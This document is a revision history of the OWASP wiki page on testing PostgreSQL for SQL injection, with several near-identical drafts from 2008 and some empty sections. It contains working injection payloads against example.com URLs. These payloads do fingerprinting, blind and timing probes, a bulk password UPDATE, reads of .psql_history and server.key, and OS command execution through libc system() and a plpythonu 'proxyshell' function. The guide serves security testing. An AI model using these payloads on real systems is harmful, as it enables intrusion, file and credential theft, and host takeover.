SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
=== Current Database ===<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Network Testing ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29912OWASP Backend Security Project Testing PostgreSQL2008-05-27T18:48:58Z<p>Dbellucci: </p>
<hr />
<div>= Short Description of the Issue =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
Keep in mind the following peculiarities:<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
<br />
= Black Box testing and example =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29789OWASP Backend Security Project Testing PostgreSQL2008-05-25T16:35:32Z<p>Dbellucci: </p>
<hr />
<div>= Short Description of the Issue =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
Keep in mind the following peculiarities:<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
<br />
= Black Box testing and example =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29788OWASP Backend Security Project Testing PostgreSQL2008-05-25T16:33:31Z<p>Dbellucci: </p>
<hr />
<div>= Short Description of the Issue =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Black Box testing and example =<br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29786OWASP Backend Security Project Testing PostgreSQL2008-05-25T16:14:09Z<p>Dbellucci: /* Reading from a file */</p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
